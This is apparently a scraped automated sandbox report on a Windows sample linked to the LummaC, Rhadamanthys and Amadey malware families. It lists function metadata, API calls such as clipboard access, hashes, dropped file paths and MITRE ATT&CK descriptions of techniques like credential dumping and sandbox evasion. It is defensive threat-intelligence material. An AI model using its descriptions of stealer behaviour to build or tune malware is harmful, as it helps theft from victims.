CoSetProxyBlanket.COMBASE ref: 004304AC

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: c776e90b0c9c6af7e86a6e6b759a0e1348666aeaad21731c063a5846b902e991
Instruction ID: d25a5440729caa6a4a41176679ca809818bf9cac461bb09e9bc77660d505e8e6
Opcode Fuzzy Hash: c776e90b0c9c6af7e86a6e6b759a0e1348666aeaad21731c063a5846b902e991
Instruction Fuzzy Hash: 56F0D4B45093019FD314DF29D16871ABBF4FB88304F01991CE49ACB790C7B5AA48CF82

Function 0040C550 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C563

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 6fc60a274ed566bab613781af0777c43ce176e621231eb36fbaf2a6aedf8035e
Instruction ID: e03bcfaf696d6c281ff3d22d3b8d0c31e3889364fa9117d67ae1079de8c3c82d
Opcode Fuzzy Hash: 6fc60a274ed566bab613781af0777c43ce176e621231eb36fbaf2a6aedf8035e
Instruction Fuzzy Hash: 43D0A7B557050867D2086B1DDC4BF22772C8B83B66F50423DF2A7C61D1D9506A14CA79

Function 0040C583 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C595

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 49e86824338073915e330635472e4cd66e95047cd3c20be69d528b314b786c07
Instruction ID: 58e2b5502705141ff0d3aa7c975cc0701997441b8ab7d7d43dac110591522243
Opcode Fuzzy Hash: 49e86824338073915e330635472e4cd66e95047cd3c20be69d528b314b786c07
Instruction Fuzzy Hash: F1D0C9B47D83407AF5749B08AC17F143210A702F56F740228B363FE2E0C9E172018A0C

Function 0043AAA0 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0043C1D6,?,0040B2E4,00000000,00000001), ref: 0043AABE

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 6bd8f6e4c03da58ea1ddb055db28ee6a0cd2fda4e2937b11b34eec233391d5a2
Instruction ID: 16971ee2c2e030bf17817a0d81dc477e65560ccac1e7abaabcdfe7fdc6775186
Opcode Fuzzy Hash: 6bd8f6e4c03da58ea1ddb055db28ee6a0cd2fda4e2937b11b34eec233391d5a2
Instruction Fuzzy Hash: B2D01231505522EBC6102F25FC06B863A58EF0E761F0748B1B4006B071C765ECA186D8

Function 0043AA80 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,0043C1C0), ref: 0043AA90

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 733e1922efac4f9a0d584a8944a64cd40278d35b25fcdbd161a554f2c268bb95
Instruction ID: 72b53a506d10aa35cab301047588232e26feb19e762ad2a100d4e8a4b6eb39e1
Opcode Fuzzy Hash: 733e1922efac4f9a0d584a8944a64cd40278d35b25fcdbd161a554f2c268bb95
Instruction Fuzzy Hash: D6C09231445220BBCA143B16FC09FCA3F68EF4D762F0244A6F514670B2CB61BCA2CAD8

Non-executed Functions

Function 00426B50 Relevance: 30.2, APIs: 1, Strings: 16, Instructions: 439COMMON

Download Yara Rule

Strings

{7y9, xrefs: 004272C7
+K!M, xrefs: 00427356
NO, xrefs: 00427361
*W.Y, xrefs: 0042731F
FOEH, xrefs: 0042771E
EG, xrefs: 0042740B
UGBY, xrefs: 00427708
w?n!, xrefs: 004272DD
$&, xrefs: 004275AF
;[0], xrefs: 0042732A
!, xrefs: 00427452
g#X%, xrefs: 004272E8
>C7E, xrefs: 00427340
l+X-, xrefs: 004272FE
bweM, xrefs: 004276F0
U'g), xrefs: 004272F3

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID:
String ID: !$*W.Y$+K!M$;[0]$>C7E$FOEH$NO$U'g)$UGBY$bweM$g#X%$l+X-$w?n!${7y9$$&$EG
API String ID: 0-3492884535
Opcode ID: 5e16a26193487a4bdaa5a93cbbb181080dd0d43d457804532e7adee19b2f1ec1
Instruction ID: ba39798a3fcb6da663dd5afd8d89a9a5fc3f4f782173f0556435d4ff5b4d5338
Opcode Fuzzy Hash: 5e16a26193487a4bdaa5a93cbbb181080dd0d43d457804532e7adee19b2f1ec1
Instruction Fuzzy Hash: A3E10EB4608350CFD7249F25E85176FBBF2FB86304F45896DE5D88B252D7388906CB4A

Function 004329C0 Relevance: 9.1, APIs: 6, Instructions: 144clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 004329E2
GetClipboardData.USER32 ref: 00432A05
GlobalLock.KERNEL32 ref: 00432A22
GlobalUnlock.KERNEL32 ref: 00432B6B
CloseClipboard.USER32 ref: 00432B73

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID:
API String ID: 1006321803-0
Opcode ID: 62f3a4270cdee086724bceffc210ad3ff0b6d52f738edb6c1f0dd5dd3d126aa6
Instruction ID: f2decc6a1db23371b8bb2cc1877cdad688787675f84f74fde2292b1bd35bf902
Opcode Fuzzy Hash: 62f3a4270cdee086724bceffc210ad3ff0b6d52f738edb6c1f0dd5dd3d126aa6
Instruction Fuzzy Hash: 855102F1D08A828FD700AF78C54936EFFA0AB15310F04863ED89597392D3BCA9598797

Function 00431715 Relevance: 36.9, APIs: 1, Strings: 20, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0043179A

Strings

;, xrefs: 00431817
~, xrefs: 004318C1
/, xrefs: 00431867
4, xrefs: 00431821
m, xrefs: 004318B7
B, xrefs: 0043188F
0, xrefs: 0043182B
#, xrefs: 00431899
n, xrefs: 004318D1
H, xrefs: 004318AD
, xrefs: 0043183F
J, xrefs: 00431885
^, xrefs: 0043185D
B, xrefs: 00431871
0, xrefs: 00431980
{, xrefs: 004318E1
Q, xrefs: 00431853
], xrefs: 00431849
O, xrefs: 0043187B
G, xrefs: 004318A3

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: AllocString
String ID: $#$/$0$0$4$;$B$B$G$H$J$O$Q$]$^$m$n${$~
API String ID: 2525500382-534244583
Opcode ID: 88941a0f473d950aaf799373c472504fdf4e728c02f445fde5d667b58de91daa
Instruction ID: e2dddc40eb3f9dab4f65535c588d3d72a3f147e4bda3b82f36fbc837b78308fa
Opcode Fuzzy Hash: 88941a0f473d950aaf799373c472504fdf4e728c02f445fde5d667b58de91daa
Instruction Fuzzy Hash: 8481066010CBC28AD322C63C881875FBFD15BE7224F184B9DE1F58B3E6D6A98146C767

Function 004312D1 Relevance: 36.9, APIs: 1, Strings: 20, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00431360

Strings

^, xrefs: 00431423
Q, xrefs: 00431419
H, xrefs: 00431473
/, xrefs: 0043142D
0, xrefs: 0043153F
B, xrefs: 00431437
J, xrefs: 0043144B
#, xrefs: 0043145F
0, xrefs: 004313F1
], xrefs: 0043140F
, xrefs: 00431405
;, xrefs: 004313DD
B, xrefs: 00431455
O, xrefs: 00431441
G, xrefs: 00431469
~, xrefs: 00431487
{, xrefs: 004314A7
4, xrefs: 004313E7
m, xrefs: 0043147D
n, xrefs: 00431497

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: AllocString
String ID: $#$/$0$0$4$;$B$B$G$H$J$O$Q$]$^$m$n${$~
API String ID: 2525500382-534244583
Opcode ID: bfb36de6ec62216300921940dd90e50556119a09abea61977352c50feb6b8cd0
Instruction ID: e21bf8ef08eaefae2f6608d65dd533aaf672cde794620ee92b713000d27e8169
Opcode Fuzzy Hash: bfb36de6ec62216300921940dd90e50556119a09abea61977352c50feb6b8cd0
Instruction Fuzzy Hash: 9981F52010CBC289D326C63C885875FBFD16BE7224F184B9DE1F58B3E6D6A98146C727

Function 0042E9ED Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 94COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0042E9F6
VariantInit.OLEAUT32 ref: 0042EA05

Strings

., xrefs: 0042EA98
2, xrefs: 0042EA68
*, xrefs: 0042EA88
0, xrefs: 0042EA60
6, xrefs: 0042EA78
W, xrefs: 0042EA34
4, xrefs: 0042EA70
<, xrefs: 0042EA50
(, xrefs: 0042EA80
8, xrefs: 0042EA40
>, xrefs: 0042EA58
Q, xrefs: 0042EA2C
:, xrefs: 0042EA48
b, xrefs: 0042EA3C
-, xrefs: 0042EA94
,, xrefs: 0042EA90
T, xrefs: 0042EA24

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: Variant$ClearInit
String ID: ($*$,$-$.$0$2$4$6$8$:$<$>$Q$T$W$b
API String ID: 2610073882-1095711290
Opcode ID: 7ffbdfa689dec1bd21887cc542622a7e9519c13530b26af4dda8f001440ba417
Instruction ID: 67e1650e07e25dd8c979730081919a9ec74336f1c366e84b3847a4c8d399cf69
Opcode Fuzzy Hash: 7ffbdfa689dec1bd21887cc542622a7e9519c13530b26af4dda8f001440ba417
Instruction Fuzzy Hash: 19410921108BC1CED726CF388488646BFA16F66224F0886DDD8E54F3DBC775D51AC7A6

Function 0042F833 Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 85COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0042F83F
VariantInit.OLEAUT32 ref: 0042F84E

Strings

., xrefs: 0042F8E7
,, xrefs: 0042F8DF
:, xrefs: 0042F897
<, xrefs: 0042F89F
4, xrefs: 0042F8BF
Q, xrefs: 0042F87B
2, xrefs: 0042F8B7
0, xrefs: 0042F8AF
*, xrefs: 0042F8D7
T, xrefs: 0042F873
b, xrefs: 0042F88B
>, xrefs: 0042F8A7
-, xrefs: 0042F8E3
W, xrefs: 0042F883
(, xrefs: 0042F8CF
6, xrefs: 0042F8C7
8, xrefs: 0042F88F

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: Variant$ClearInit
String ID: ($*$,$-$.$0$2$4$6$8$:$<$>$Q$T$W$b
API String ID: 2610073882-1095711290
Opcode ID: f781027231551062226cb081f6f7d4146a3b5f5555bc5acf262f956389af0b84
Instruction ID: 5aee6742307bd22be2b72699ebf7517107c7abda4f37a595e92ffc77e439cf83
Opcode Fuzzy Hash: f781027231551062226cb081f6f7d4146a3b5f5555bc5acf262f956389af0b84
Instruction Fuzzy Hash: 34410820108BC1CED726CF3C9488616BFA16B66224F488ADDD8E54F3DBC375D51ACB66

Function 00432409 Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 90COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 0043244F

Strings

@, xrefs: 004324A9
X, xrefs: 00432477
e, xrefs: 004324B3
J, xrefs: 0043248B
C, xrefs: 00432481
H, xrefs: 004324D1
L, xrefs: 004324BD
[, xrefs: 004324C7
@, xrefs: 004324E5
X, xrefs: 0043246D
A, xrefs: 004324EA
Q, xrefs: 0043249F
E, xrefs: 00432495
[, xrefs: 004324DB

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: InitVariant
String ID: @$@$A$C$E$H$J$L$Q$X$X$[$[$e
API String ID: 1927566239-3011065302
Opcode ID: 525d7f934687ab0bf19ac530d90f1e1fa4e045b28120346783632a559e286019
Instruction ID: 53b19800ce9beadd92bbeaf8c0dd5e513984ffb5c5a49c85e3815ab243118963
Opcode Fuzzy Hash: 525d7f934687ab0bf19ac530d90f1e1fa4e045b28120346783632a559e286019
Instruction Fuzzy Hash: 0541097010C7C18AD365DB28849878BBFE16B96314F885A9CE6E94B3E2C7798409C757

Function 00432194 Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 83COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 004321C6

Strings

e, xrefs: 00432231
L, xrefs: 0043223B
A, xrefs: 00432268
@, xrefs: 00432263
X, xrefs: 004321EB
[, xrefs: 00432245
X, xrefs: 004321F5
E, xrefs: 00432213
[, xrefs: 00432259
J, xrefs: 00432209
H, xrefs: 0043224F
C, xrefs: 004321FF
Q, xrefs: 0043221D
@, xrefs: 00432227

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: InitVariant
String ID: @$@$A$C$E$H$J$L$Q$X$X$[$[$e
API String ID: 1927566239-3011065302
Opcode ID: 2ee573a903be5f004d3e2d813880161334ac93031f736f9e15fdb26375ef605a
Instruction ID: f917ff13e8fa353cdd9af704c32342f25a9e0069aca0bae3d4b305f03d6e9fde
Opcode Fuzzy Hash: 2ee573a903be5f004d3e2d813880161334ac93031f736f9e15fdb26375ef605a
Instruction Fuzzy Hash: F841187000D7C18AD3619B28849874FBFE06BA7324F885A9DF6E84B3E2C77984498757

Function 00431EDD Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 92COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00431EE7
VariantInit.OLEAUT32 ref: 00431EFA

Strings

n, xrefs: 00431FAF
e, xrefs: 00431F5F
z, xrefs: 00431F6F
p, xrefs: 00431F9F
A, xrefs: 00431F8F
p, xrefs: 00431FBF
z, xrefs: 00431F2F
v, xrefs: 00431F3F
w, xrefs: 00431F4F
e, xrefs: 00431F1F

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: Variant$ClearInit
String ID: A$e$e$n$p$p$v$w$z$z
API String ID: 2610073882-1114116150
Opcode ID: 285518986e989cac88369cedce0e1c7570f99f932fa8b56f27ac7dcd310c1e64
Instruction ID: 776134ba1da329d7d35a817d8e2b42585fa70f537528e7a9cdeab4ed979499a7
Opcode Fuzzy Hash: 285518986e989cac88369cedce0e1c7570f99f932fa8b56f27ac7dcd310c1e64
Instruction Fuzzy Hash: 2641383160C7C18ED331DB38885879BBFD1ABA6324F088AADD4E9872D6D7794505C763

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Rhadamanthys

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\44098beb09.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\d3ba7fdf70.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
